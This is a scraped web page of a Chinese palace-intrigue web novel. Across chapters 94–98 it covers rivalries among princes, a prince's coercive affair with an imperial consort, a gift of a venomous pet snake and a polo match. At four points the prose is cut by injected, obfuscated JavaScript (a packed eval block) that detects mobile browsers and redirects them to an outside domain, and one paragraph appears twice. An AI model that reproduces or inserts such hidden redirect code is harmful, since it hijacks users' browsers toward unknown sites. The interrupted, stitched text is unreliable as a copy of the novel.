“女儿明白。”姜姝宁微微颔首,似是忽然想起什么,转而对姜丞相道,“父亲,如今三皇子殿下凯旋归来,瑶真身为他的未婚妻,却仍被禁足于院中,实在不合情理。不如父亲下令解除她的禁足,也好让她能为三皇子庆贺一番,尽一尽未婚妻的本分。” 那日她在来福酒楼,亲眼撞见萧凌川与姜瑶真私下相会,二人关系显然早已非同寻常。 如今,正是时候让姜瑶真与萧修湛多加接触,说不定她能从萧修湛那里探得什么关键情报,暗中传递给萧凌川,为他的谋划再添一把柴火。 “宁儿言之有理。”姜丞相点头应允,“既如此,我便即刻下令,解了瑶真的禁足。你也早些回房歇息吧,今日想必累了。” “是,父亲。” 前世她曾因姜瑶真能得到萧凌川的偏爱而心生嫉妒。 今日过后,她彻底看轻了萧凌川的真面目。 所谓的爱慕,不过见色起意,再加上有利可图罢了。 呵,男人! —— 朝堂上没了顾御史这个领头羊,御史台最近安静了许多,皇帝耳根子清净了不少,有更多闲情逸致宠幸后宫。 他几乎夜夜宿在香妃的宫里。 三皇子萧修湛剿匪有功,不仅获封瑞王,得封地,其外祖还得了爵位。 萧修湛和熙贵妃沉浸在新得的赏赐中,对凝香的一路高升及得宠并不在意。 作为首位被封为亲王的皇子,萧修湛很快拥有一座坐落于京城繁华街段的华丽府邸。 从前在皇宫内事事掣肘,如今终于有了自己的王府,他自然喜不自胜。 近来几日他都忙于指挥宫人将麟阁宫里用惯了的物件搬出去,送到自己的瑞王府里。 这日,一名身着华贵宫装的女子款款走来。 还未及看清她的容颜,便先闻到她身上那股独特芬芳,似兰似麝,令人心旌摇曳。 宫人们连忙俯身行礼:“见过香妃娘娘!” 凝香嫣然一笑,轻声道:“免礼。” 她自己上前一步,落落大方地跟萧修湛打招呼:“瑞王殿下!” 萧修湛微微眯起眼眸,只觉得眼前这女子竟比从前美上几分,不仅容貌光彩照人,就连身段也比从前妩媚几分。 难道这就是所谓的宏运养人? “香妃娘娘真是跟从前大不相同,本王差点认不出你来了!”萧修湛语气中带着一丝玩味,目光在她身上流连。 “殿下谬赞了!”凝香眼波流转,笑容里带着几分羞怯,“说起来,殿下才是本宫真正的贵人。本宫能有今日这般风光,皆是仰仗殿下的恩泽!” “不敢当。香妃娘娘有今日,也是下了不少苦功夫。”萧修湛意味深长道。 凝香丸有毒,她竟能日日坚持服用,可见为了获得皇帝的盛宠,她牺牲了多少,付出了多少常人难以想象的代价。 这一点,是他的母妃熙贵妃绝对不会做,也不屑去做的。 “下苦功夫也是应当的,毕竟本宫除了陛下的恩宠之外,在这深宫之中,本宫便再无其他仪仗了。” 凝香说完,转身离开,走得很远了,身上那股郁香依然萦绕在鼻息间。 就在这时,皇帝身边的大总管陈顺来了:“瑞王殿下,皇帝有请,请殿下即刻随奴才前往御书房觐见!” 萧修湛不敢怠慢,紧随陈顺的脚步,一路来到御书房。 只见龙案之后,皇帝面沉如水,神色阴郁得仿佛暴风雨前的天空。 “儿臣参见父皇,不知父皇召儿臣前来,有何事吩咐?” 萧修湛恭敬地行礼,心中却隐隐升起一丝不安。 皇帝锐利的目光如寒芒般上下打量着他,仿佛要将他看穿。 “朕听说你此次领兵剿匪,大军几乎毫发无损,然而顾御史的独子顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620116|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亦庭却在匪巢之中丧命。一个手无缚鸡之力的文弱书生,你为何要让他身陷险境,深入匪巢?如今御史台群情激愤,纷纷上奏**于朕,说朕是公报私仇,故意指派顾亦庭随军西行,又暗中授意加害于他!” “这……”萧修湛闻言,连忙跪倒在皇帝面前,额头渗出细密的汗珠。 “父皇明鉴!绝非儿臣有意安排他进入匪巢,实在是这顾亦庭急于求成,一心想要建功立业,故而不顾劝阻,擅自冲入匪巢之中!当时情况紧急,儿臣连阻拦都来不及啊!” “事到如今,你再做这番辩解,又有谁会相信!”皇帝厉声喝道,语气中满是不悦。 “顾亦庭身死,你为何不将他的遗体带回京城?现在御史台那帮老家伙揪住此事不放,非要朕设法寻回顾亦庭的遗骸,好让顾家能够入土为安!朕近日被他们吵得心烦意乱,简直不堪其扰!朕命你即刻派人重返西榆匪巢,务必将顾亦庭的尸首给朕找回来!此事若再办不好,朕绝不轻饶!” 萧修湛听得心惊胆战,冷汗湿透了衣衫。 当初他就是故意不将顾亦庭的尸体带回来的,唯恐带回来让仵作验出其中的端倪,暴露真相。 如今却要他亲自带人去将尸体找回来,这不是为难他吗? “父皇,那日剿匪之战,战况极其惨烈,顾亦庭的尸首恐怕早就被摧残得破烂不堪,面目全非,实在不适合长途跋涉,运回京城啊……” 萧修湛极力辩解,试图推脱。 “朕不管这些,反正这件棘手之事是你一手造成的,你就应当承担一切后果,妥善善后!”皇帝语气冰冷,不容置喙,“顾亦庭之死,归根结底也是你疏于管束,**所致,你理应为自己所犯下的错误负责任!” 萧修湛闻言,心中纵有万般不愿,也只能咬紧牙关,硬着头皮应道:“儿臣遵旨!” 离开御书房后,萧修湛只觉得胸口一阵烦闷,像是燃了一团火,郁结难舒。 他经过一个宫殿,发现有座宫殿匾额上的殿名被改为“芙蓉殿”。 他问宫人:“这芙蓉殿住的是什么人?” “回瑞王殿下,这里住的是香妃娘娘。陛下说香妃娘娘天生丽质,身带异香,那香味如芙蓉般清雅脱俗,故而赐名芙蓉殿!” 萧修湛冷笑一声:“父皇对这香妃还真是上心啊!” 他贵为天子帝又如何? 如今宠爱至极的女人曾经也不过是自己枕边的玩物罢了。 萧修湛想起凝香那张娇艳的面容以及凹凸有致的身段。 他忽然知道,自己胸口这团邪火要如何释放了。 第95章 可防身的宠物 第九十五章可防身的宠物 “殿下……”凝香惊愕不已,她猛地站起身,“你怎么来了?” 萧修湛未让任何宫人通传,便径自走进了她的寝殿,目光肆意地在她身上游走。 “本王想念香妃娘娘,便不请自来了!” 话音刚来,他上前一把搂住她的纤腰,将她拉进自己怀里。 “殿下!你这是做什么!”凝香顿时慌乱起来,下意识地看向寝殿内的宫人,“别这样,宫人在看着呢!若是传出去……” “怕什么,这里的宫人都是我母妃的人。”萧修湛轻咬她的耳畔,声音暧昧,“就算我们在这里做什么出格之事,她们也绝不会说出去半个字!” 凝香一惊。 四皇子果然没猜错,她身边都是眼线。 幸好她足够谨慎,每次与萧凌川见面都是只身前往,未曾携带任何宫人。 否则,她暗中认萧凌川为主子这件事,恐怕早就被熙贵妃和萧修湛察觉了。 她装出委屈无奈的模样:“可臣妾如今已经是陛下的妃子了,是殿下名义上的庶母,殿下这般对臣妾,岂不是犯了祸乱宫闱的大罪?” “是父皇的妃子又如何?”他轻笑一声,语气轻佻放肆,“也改变不了你是本王女人的事实!” 话音刚落,他便不顾她的抗拒,将她打横抱起,大步走向床榻。 宫人们见状,心领神会地纷纷退下,并将寝殿的门关上,把满殿的旖旎春色紧紧地锁在其中…… “荒谬!” 熙贵妃怒不可遏:“那女支子如今已是你父皇后宫的女人,你怎么能和她搅和在一起?你疯了吗?” “母妃这么气做什么?”萧凌川方才在凝香那尝到餍足的滋味,此时只觉得神清气爽,声音也有些慵懒,“反正她宫里的那些人都是母妃的人,不会有人说出去的。” “你……”熙贵妃被他气得胸口闷痛,“本宫真是不明白,那种出身低贱的女支子究竟有什么好?竟能让你们父子俩被迷得神魂颠倒!不过是个伺候人的下作玩意儿,你们就不嫌她脏吗?” “母妃!”萧凌川脸色有些阴沉,“别这么说凝香。她虽是女支子,可儿臣是她第一个男人。当初要不是儿臣冷落了她,老鸨又逼得她走投无路,她也不会被迫入宫委身于父皇。说起来,是儿臣亏欠了她。” “你亏欠她?怎么,你还想弥补?要不,本宫把这贵妃的头衔给她如何?”熙贵妃冷笑道。 见她是真的动怒,萧凌川连忙安抚道:“母妃息怒。她如今不过是儿臣放在父皇身边的一颗棋子,儿臣今日找她欢好,只因在父皇那受了气,拿她泄欲罢了。在儿臣心中,她只是个玩物,母妃又何必将她放在心上?” “你最好只是将她当棋子,当玩物!”熙贵妃咬牙切齿,“否则,本宫定会要了她的命!” “儿臣对天发誓,鱼水之欢不过是驯服她的方式!”萧修湛信誓旦旦道,“从前儿臣就是用这种方式驯服她的。母妃放心,儿臣知道自己在做什么。如今儿臣跟她有了这层关系,更容易拿捏她了,不是吗?” 他凑到熙贵妃耳边,低声道,“她现在身上都是儿臣留下的痕迹,这几日怕是不能伺候父皇了。想必父皇很快就会来找母妃了。” 听到这话,熙贵妃脸上的怒意这才消散。 虽然自己儿子和那女支子搞在一起让她觉得既愤怒又恶心,可一想到可以暂时让皇帝不去哪个**宫里,又觉得这种恶心也不是完全不能忍。 景和宫里,凌风前来禀报。 “殿下,果然不出你所料,三皇子已派人暗中搜寻一具身高体型与顾公子相仿,且胸口中剑身亡的尸体。他还特意交代,一旦找到合适的尸体,便要将其面容彻底毁掉,好让顾家将其当做顾公子安葬!” 萧琪钰脱口而出:“那顾家岂不是要世世代代祭拜一个来历不明的孤魂野鬼?三哥这招偷梁换柱未免也太过歹毒了!” 萧凌川嘴角勾起一抹冰冷的弧度:“螳螂捕蝉,黄雀在后。派人盯紧那个负责寻找尸体的人,一旦有任何发现,立即按照我之前吩咐的去做,务必确保万无一失。”“是,殿下!”凌风领命而去。 萧琪钰好奇地问:“四哥,你打算怎么做?” “我有份大礼要送给三哥。”萧凌川慢条斯理地喝了一口茶,“到时候你知道了!” “四哥,你是会卖关子的!”萧琪钰笑着道,“对了,方才我收到魏国公府送来的请帖,邀请我们前去参加马球赛。四哥,你可要去凑个热闹?” 他口中的魏国公府,正是姑母大长公主的夫家。 魏国公府与相府是世交,大长公主的独子小公爷自小便与相府的两位千金一同长大,与姜瑶真关系尤其好。 “不去!”萧凌川语气冷淡,毫不犹豫地拒绝道,“姑母不过是想借着马球赛的机会,向众人显摆他们的马球场罢了,我去也只是给她充场面,徒增虚荣而已。” “好吧,那真是太可惜了!”萧琪钰故意叹息一声,语气中带着几分惋惜,“听说他们也给相府送了请帖,以姜丞相和魏国公的交情,想必姜姑娘也会应邀前去的。” 听到这话,萧凌川轻咳了一声。 “说起来,我也许久未打马球了。偶尔去放松一下筋骨,也未尝不可。” 萧琪钰忍住笑:“那我就回复魏国公府,说我们都去参加马球赛!” “去吧!”萧凌川神色平静,方法方才出尔反尔的人不是他。 ——35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620117|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 相府也收到了魏国公府送来的马球赛请帖。 姜姝宁对马球赛并不感兴趣,但姜丞相和魏国公从前是同窗,所以这场马球赛姜丞相必然携带家人前往捧场。 她正在找去年新作的那双鹿皮长靴,姜天泽来了。 他提着一个竹编盒子,笑容满面地走了进来:“大姐姐,我来给你送宠物来了!” 姜姝宁这才想起上次去东市,本来想挑选宠物的,后来她只顾着买下浩天,把宠物的事抛之脑后。 “难得你还记得此事。” “那是自然,我说过要赔给大姐姐一只宠物的,自然不会食言。这只宠物是我亲自饲养长大的,你看看喜不喜欢!” 姜姝宁满怀期待地掀开竹编盒子的盖子,不料映入眼帘的竟是一条通体雪白、眼睛血红的小蛇! 它吐着鲜红的信子,在盒子里不安地蠕动着,散发着一丝诡异的气息。 姜姝宁顿时头皮发麻,双目圆睁,用了极大的自制力才没尖叫出声。 “这……这就是你精心饲养长大的宠物?”姜姝宁的声音有些颤抖,浑身汗**倒竖。 她从来不敢将蛇和宠物联系在一起。 “是啊,大姐姐,这小蛇是我亲自从蛋中孵化出来的。你看它,身子洁白如雪,眼睛像红宝石一样晶莹剔透,是不是既漂亮又可爱?” 姜姝宁:“……” 她理解的可爱,跟她的三弟理解的可爱,显然相差甚远。 “这小蛇你还是拿回去吧,我不会养……”姜姝宁说着,伸手准备将竹编盖子盖上,谁知那小蛇竟突然窜出,灵巧地缠上了她的手腕! 微凉而柔软的蛇身紧贴着她的肌肤,带来一种奇异的触感,姜姝宁顿时吓得浑身僵硬,如同被施了定身咒一般,一动也不敢动。 “三、三弟……”她颤声道,“快、快把它弄下来!” 姜天泽手伸手覆上她的手腕,手指看似在安抚小蛇,实际上却似有若无地摩挲着她腕间的肌肤,带着一丝不易察觉的暧昧。 “大姐姐,这小蛇很喜欢你,你就让它待在你身边吧。它很通人性,若是有人胆敢欺负你,它会毫不犹豫地帮你咬坏人!”姜天泽语气温柔,带着一丝诱哄。 “不用了。我有凌芜送我的袖**,可以防身,不怕坏人欺负我!”姜姝宁发现小蛇并没有攻击她的意图,只是温顺地缠绕在她手腕上,似乎对她十分依恋,这才慢慢放松下来。 “那是你尚且神志清醒之时,才能用袖**对付欺负你的人。若有人在你神志不清、毫无防备之时欺负你,你又该如何使用袖**自保呢?”姜天泽一本正经地问。 姜姝宁:“……” 为何她的三弟会有这种奇怪的想法? 第96章 旗开得胜 第九十六章旗开得胜 “若我失去神志,的确没有任何反抗之力。”姜姝宁看着在腕间宛如一个白色玉镯的小蛇,笑道,“只是,这小东西也没什么杀伤力啊。” “大姐姐放心,小白比你想象中厉害。”姜天泽恳求道,“看在它这么乖的份上,你就收了它吧!” 姜姝宁无奈,只能妥协:“既然三弟为了我专程孵化了这条小蛇,我自然不能辜负你的心意。只是,我从未饲养过蛇类,实在没有信心能够将它养好。” “大姐姐放心,你只管收了它,喂养它的事交给我!”姜天泽连忙保证道。 “那好吧。”姜姝宁用指尖轻抚小白蛇的头,喃喃道,“真遇到坏人,你这小东西只管逃命好了,我也不指望你能救我!” 姜天泽目不转睛地看着她与小蛇互动,眼眸深处掠过一丝不易察觉的阴郁。 这小白蛇是他用珍稀罕见的毒物精心饲养长大的,外表看似弱不禁风,人畜无害,实则蕴含着剧烈的毒性。 若是被它咬上一口,若不及时救治,恐怕会当场毙命。 当然,这蛇认主,不会随便伤害他的大姐姐。 但对她意图不轨的人就另当别论了。 他无法时时待在大姐姐身边,就让小白替他护大姐姐周全吧! —— 大长公主的马球场位于京城郊外,占地辽阔,足以容纳数百宾客。 前来观赛的,无一不是朝廷重臣、世家贵族,以及身份显赫的皇亲国戚,他们在雅座上谈笑风生间,尽显尊贵气派。 先帝与当今圣上一样,皇子众多,却只有一位公主,大长公主自小便集万千宠爱于一身,是先帝的掌上明珠。 这马球场,便是当年大长公主与魏国公喜结连理时,先帝所赐的丰厚嫁妆之一。 大长公主自幼便在众星捧月中长大,养成了喜好炫耀的性情,每年都要举办数场盛大的马球赛事,向整个京城展示她的富甲一方,财大气粗。 萧琪钰斜倚在雅座上,忍不住啧啧称叹:“咱们这位姑母还真是家财万贯啊!瞧瞧这马球场,修建得如此金碧辉煌,竟比父皇的避暑山庄还要气派几分!” 萧凌川神色淡淡,不以为然道:“真正富有之人,早已将财富视作寻常之物,自是不屑于炫耀的。” “四哥所言极是。说起来,还是五哥的母族最为低调,那才是真正意义上的富可敌国,却从未见荣贵妃和五哥在外人面前炫耀过半分。” 萧琪钰一边说着,一边在人群中搜寻着萧怀瑾的身影。 他发现萧怀瑾坐于他们前方不远处,而与他并肩而坐的,竟是三皇子萧修湛。 “三哥怎么跟五哥坐在一起?他不会想拉拢五哥吧?” 萧琪钰顿时变得紧张起来。 萧怀瑾的母族崔氏,执掌着大邺王朝的经济命脉,富甲天下,其名下产业遍布大邺各地,足以充盈半数国库,堪称国之钱袋。 若是萧怀瑾转而支持萧修湛,他们夺权的胜算将会大大降低。 萧凌川默不作声,深邃的眼眸中闪过一丝晦暗不明。 他和萧怀瑾是情场上角逐佳人的对手,萧怀瑾怕是无法像前世那样,毫无芥蒂地支持他,助他登上皇位。 在局势尚未明朗之前,他只能选择按兵不动,静观其变。 第一场马球赛,率先上场的是女子。 只见姜瑶真身着一袭红色的骑装,骑着一匹黑色骏马,手持鞠杖,缓缓步入马球场。 她英姿勃发,威风凛凛,尚未开赛,便已吸引了全场所有人的目光。 看台之上的宾客们无不惊叹于她的绝世容颜和曼妙身姿,纷纷赞不绝口。 三皇子萧修湛见自己的未婚妻如此光彩照人,备受瞩目,心中不禁有些得意。 他转过头,对身旁的萧怀瑾道:“五弟,我知道你一直对姜家的嫡长女姜姝宁情有独钟。若是将来你能够得偿所愿,与姜姑娘喜结连理,那么我们便既是兄弟,又是连襟,岂不是亲上加亲?” 萧怀瑾深邃的眼眸中闪过一丝不易察觉的波澜,他抬眼看向萧修湛,语气平静地反问道:“三哥,你到底想说什么?” 萧修湛直截了当道:“我的意思是,若是我们兄弟二人能够联手合作,必能将萧凌川踩在脚下。他一个南月后裔,有什么资格与我争夺皇位?简直就是玷污了我大邺皇室的高贵血统!” 萧怀瑾依旧沉默不语,神色莫测。 萧修湛有些着急,再次抛出了一个极具诱惑力的条件:“只要你同意与我联手,助我登上皇位,那么我便倾尽全力,帮你夺得美人归,如何?” 面对他的再三示好和利诱,萧怀瑾却始终保持着沉默,仿佛充耳不闻一般。 他目不转睛地凝视着马球场,神情专注而认真,似乎对即将开始的马球赛事充满了浓厚的兴趣。 萧修湛自讨没趣,只能悻悻地转过头,将目光重新投向马球场,等待着比赛的开始。 世家贵女中,擅长马球的本就寥寥无几,能与姜瑶真一较高下的,恐怕也只有夏嫣一人。 一场马球赛若仅凭两名女子对垒,未免少了些许趣味。 就在这时,顾晚樱也换上了一身利落的骑装,骑着一匹枣红色的骏马,缓缓来到了场中央。 姜瑶真故作惊讶地掩唇轻笑:“哎呦,真是难得啊!没想到,平日里温婉娴淑的晚樱姐姐,竟然也会打马球!” “我虽不精通此道,但骑马却还算熟练,想来打马球也并非难事。”顾晚樱漫不经心地回应道。 随即,她的目光便径直落在了不远处的姜姝宁身上。 “姜姝宁,我记得你也擅长骑射。不如你也上来一同参与,我们四人正好可以分成两队,一较高下!” “晚樱姐姐,您有所不知,我姐姐向来只精通琴棋书画,对于骑射之事一窍不通,恐怕连鞠杖都未曾碰过。您让她上场打马球,岂不是故意为难她吗?” 姜瑶真表面上是在替姜姝宁推脱,实则借机贬低她。 顾晚樱却充耳未闻,她目不转睛地看着姜姝宁,眼眶微红:“姜姝宁,我们来一场较量吧!若是你能够胜过我,从此以后,我便不再执着于兄长之事,也绝不会再将任何怨恨加诸于你身。” 她并非愚钝之人,又怎会不知晓顾亦庭的死与姜姝宁并无直接关系? 只是,无论导致顾亦庭身亡的幕后真凶是三皇子,亦或是四皇子,以她如今的身份和地位,都根本没有资格去追究真相,为兄长报仇雪恨。 所以,她才将所有的怨恨和不满都宣泄到了姜姝宁的身上,以此来寻求一丝心理上的慰藉。 如今,她迫切地需要一场激烈的角逐,来彻底了结这段恩怨,将强加在姜姝宁身上的所有怨恨都彻底清除,放过自己,也放过她。 姜姝宁知道,她拒绝不了顾晚樱的请求。 “晚樱姑娘稍等片刻,容我去更衣。” 片刻之后,换上了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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现场顿时爆发出了一阵惊叹声。 要知道,姜姝宁当时所处的位置距离网囊相当遥远,即使是经验丰富的马球高手,也未必能够准确地将球击入网囊中。 可她一个新手却做到了。 夏嫣朝她竖起拇指,姜瑶真则冷哼一声:“瞎猫逮着死老鼠罢了!” 姜姝宁像是突然开窍了一般,自此之后,只要她能触及马球,便能精准地将其击入网囊之中,无一失手。 观众席上,惊叹之声此起彼伏。 此时此刻,她就如一匹横空出世的黑马,成为了全场的焦点。 台下,萧怀瑾的目光始终追随着她的身影,心潮起伏。 就连他身旁的萧修湛的目光也难以从她身上离开。 萧琪钰激动不已:“四哥,你看到没有,嫂嫂太厉害了!” 萧凌川神情波澜不惊,桃花眸里却蓄满笑意。 前世,他就已察觉到姜姝宁惊人的学习天赋,所以才故意逼着她学骑射。 她果然没让他失望。 最终,夏嫣与姜姝宁的队伍旗开得胜,赢得了这场马球赛的胜利。 姜姝宁翻身下马,大步走到顾晚樱面前,笑着道:“晚樱姑娘,胜负已分,你可要言而有信!” 顾晚樱看着她日光下那张被汗水打湿的脸,突然有些替自己的哥哥感到惋惜。 若哥哥还活着就好了,他便能亲眼目睹今日这般光彩照人、熠熠生辉的姜姝宁了。 她可比姜瑶真耀眼多了。 第97章 爱而不得之苦 第九十七章爱而不得之苦 “我顾晚樱言出必行,从此绝不再将兄长之死归咎于你!”顾晚樱说着,翻身下马,凑到姜姝宁耳边,用两人才听到的声音道,“只是,四皇子的妒意,你当真能承受得住吗?” 姜姝宁眉心一跳。 她深知萧凌川的占有欲有多可怕。 他如潜伏在暗夜中的凶猛野兽,一旦察觉到谁对她稍有觊觎之心,便会毫不犹豫地扑上前去,不死不休。 若非萧怀瑾对他尚有利用价值,恐怕早已惨遭他的毒手。 这样的他,她怎么可能承受得住? “晚樱姑娘难道有办法帮我摆脱这困境?”姜姝宁试探着问道。 “自然!”顾晚樱道,“稍后更衣完毕,来寻我一聚,我邀你品茗!” 姜姝宁微微颔首,心中虽未抱太大希望,但仍愿一探究竟,看看顾晚樱是否真有助她脱困的妙计。 就在她准备离开马球场之际,不经意间抬眸,恰好撞进萧凌川那双深邃如潭的桃花眼中,顿时感到一阵毛骨悚然。 那种感觉,就像猎物察觉到自己被猛兽锁定,只想立刻逃离。 姜姝宁更衣完毕,正欲前往顾晚樱所在的雅座,却见夏嫣朝她款款走来:“你要去找顾晚樱?我也一同前往!” “这……”姜姝宁略显迟疑,顾晚樱要与她商议之事,未必愿意让夏嫣旁听。 “我只是放心不下你。前些日子,顾晚樱还带着家仆去你们相府门前**,我实在不信她会突然转性,与你交好!若是她敢对你不利,休怪我对她不客气!” 夏嫣说着,紧握拳头,一副义愤填膺的模样。 姜姝宁忍俊不禁,心中涌起一股暖意:“既然你如此担忧我,那便一同前往吧!”两人步入大长公主特意为顾家准备的雅座,只见接连雅间竟空无一人,唯有顾晚樱孤身端坐其中。 想必是她的父母仍沉浸在丧子之痛中,无心出席这场马球盛会。 顾晚樱见姜姝宁身旁跟着夏嫣,连忙道:“夏姑娘,可否请你暂且回避片刻?我有些私密话,想与姜姑娘单独倾谈。” 夏嫣善解人意,并未强求,寻了一处既能照应,又听不到她们谈话的角落静静等候。 姜姝宁在顾晚樱身旁落座,开门见山地问道:“不知晚樱姑娘有何妙计,能助我摆脱困境?” “姜姑娘与五皇子情投意合,想必早已迫不及待地想要挣脱四皇子的束缚,对吧?”顾晚樱目光灼灼,紧盯着姜姝宁,语气坚定,“眼下,你唯有一条路可走,那便是与我联手,共同对抗四皇子!” “与你联手?” “不错,我身后有太子殿下,以及我的姑母皇后娘娘。”顾晚樱声音里带着自信,“我们顾家虽算不上显赫,但作为太子殿下的母族,地位稳固。太子殿下是大邺未来的储君,这是铁打的事实,无人能够撼动!只要我的父亲尚在人世,他便绝不会允许东宫易主!待我们合力铲除那些觊觎储君之位、整日蝇营狗苟之辈,你便可与五皇子终成眷属!” 姜姝宁静静地注视着顾晚樱,目光深邃。 “你这般看着我作甚?”顾晚樱眉头微蹙。 “没什么,我只是觉得,晚樱姑娘似乎与之前判若两人。”姜姝宁顿了顿,补充道,“变得有些……雄心勃勃,令人刮目相看。” 顾晚樱闻言,不由苦涩一笑:“从前,我确实对权势并无兴趣,只求与家人安稳度日,若能与太子哥哥喜结连理,便已心满意足。然而,兄长惨遭不幸一事,让我突然意识到,若无权势庇佑,纵是至亲之人也无法守护,又何谈安然度日?” 姜姝宁感同身受,叹息道:“晚樱姑娘所言极是,皇权之下,众生皆如蝼蚁。” “那么,姜姑娘的答案是?”顾晚樱满怀期待地问道。 “抱歉,晚樱姑娘。”姜姝宁神色平静,语气浅淡,“你如此看得起我,我十分感激。但我恐怕无法与你联手。” “为什么?”顾晚樱脸色骤然一变,声音也变得尖锐起来,“你分明与我一样,都失去了可以依靠的兄长,我原以为我们能够同心协力!无论你想对付的是三皇子,还是四皇子,都只有依靠太子殿下这条路可走,不是吗?” 自然不是。 姜姝宁不忍心告诉她,虽然太子将来确实能登基为帝,当在位第二年,身子每况愈下,早已无力与萧凌川、萧修湛等人抗衡。 指望太子殿下扳倒四皇子和三皇子,无异于痴人说梦。 思忖片刻,姜姝宁斟词酌句地开口:“晚樱姑娘,若太子殿下确有夺权之心,不妨尝试与二皇子、五皇子结盟,或可向太后娘娘借势。此外,务必悉心照料太子殿下的龙体,这才是重中之重。正所谓留得青山在,不怕没柴烧。” 顾晚樱闻言,一时语塞。 太子体弱多病,素来为人所诟病,这亦是她心中挥之不去的隐忧。 她终究是太过急切了,一心只想为兄长报仇雪恨,反而忽略了最关键的一点。 姜姝宁的话提醒了她,保全太子的身体,才是当务之急。 “谢谢你,姜姑娘。”顾晚樱看着她,“我今日想与你结盟的请求,永远有效。若你什么时候改变心意,随时可以来找我!但愿将来我们有机会成为并肩作战的队友!” “多谢你,姜姑娘。”顾晚樱看着她,语气诚恳,“我今日邀你结盟之请,永远作数。若你日后改变主意,随时可以来寻我!但愿将来我们有机会并肩作战,共克时艰!” 姜姝宁微微颔首,离开时,心中思绪万千,感慨不已。 前世,顾晚樱当上皇后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620119|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜姝宁曾见过她几次。 那时的她,虽因终日忧心新帝的病情而略显愁容,但性情依旧温婉,丝毫看不出今日这般锋芒毕露、野心勃勃的模样。 看来,兄长的不幸离世,对她的打击实在是太大了,竟逼得一个原本柔弱无依的女子,不得不为自己的命运绸缪打算,奋力一搏。 她和夏嫣并肩走在返回雅座的路上。 夏嫣满怀憧憬道:“接下来便是男子组的比赛了,不知今年哪位皇子能拔得头筹?” 姜姝宁心领神会,笑道:“二皇子殿下骑术精湛,球技高超,想必定能摘得桂冠!” 夏嫣闻言,顿时羞红了脸颊,嗔怪道:“我何时提过他了?” 两人正嬉笑闲谈间,忽见前方出现一个熟悉的背影。 “是二皇子殿下!”夏嫣一眼便认出了那人,有些疑惑,“比赛即将开始,二皇子殿下这是要去往何处?” 她说着,便情不自禁地迈开脚步,想要一探究竟。 姜姝宁也只得一同跟了上去。 只见二皇子行至一处雅座附近,背对着她们,从袖中取出一个锦盒递给一年轻女子,语气轻柔地说道:“张姑娘,这是我特意去银楼为你挑选的簪子,不知你是否喜欢?” 那女子面露惊恐之色,连连推辞道:“二皇子殿下,臣女不敢随意收下殿下的礼物!” 姜姝宁定睛一看,这才发现,这名女子不是别人,竟是那日与姜天泽相看、对他下毒未遂的尚书之女——张嫣姑娘! “张姑娘,你就收下吧。”二皇子情真意切道,“待我日后功成名就,定会恳请父皇降下一道圣旨,风风光光地迎娶你进门!” 听到二皇子如此深情款款的话语,夏嫣的心脏仿佛被一只无形的大手紧紧攥住,痛得她浑身颤抖,几乎站立不稳。 姜姝宁见状,连忙上前搀扶住她,低声道:“我们回去吧。” 再继续留在此地,也只会徒增伤感。 毕竟,爱而不得,是这世间最难承受的痛苦。 走在回去的路上,夏嫣脸上满是苦涩,自嘲地说道:“原来,他喜欢的是张尚书之女张嫣那样温婉清秀的女子。我还以为,他与我切磋武艺,是因为喜欢舞刀弄枪的女子,还特意苦练了不少兵器招式想要展示给他看。姝宁,我是不是很傻?” 姜姝宁闻言,心口不由一滞,百感交集。 她轻声安慰道:“夏嫣,每个人都有自己独特的魅力与光芒,纵然二皇子并不欣赏你,你也绝不能因此而否定自己。” 然而,夏嫣早已听不进她的任何劝慰。 她神情恍惚,失魂落魄地喃喃自语道:“他会不会是因为,我和张嫣姑娘的名字一样,才在赏菊宴过后传召我入宫的?他把我当成了什么?张嫣姑娘的替身吗?” 第98章 满大街都是男人! 第九十八章满大街都是男人! 姜姝宁想起前世二皇子战死沙场后,夏嫣万念俱灰,毅然削发为尼,与青灯古佛相伴一生。 他心悦之人并非是她,她却为了他耗尽了自己的一生。 这般付出,实在太不值得了! “不过是个男子罢了,何必如此难以释怀?”姜姝宁恨铁不成钢地说道,“三条腿的**或许难找,两条腿的男人满大街都是!” “可满大街的男人,都不是他呀!”夏嫣委屈道。 “既然不是他,那便另觅良人!天下的好男儿多的是,为何非要在一棵树上吊死?” 话音未落,夏嫣忽然神色骤变,扯了扯她的衣袖。 姜姝宁这才发现,身着飒爽骑服的萧凌川与萧琪钰,正朝着她们迎面走来。 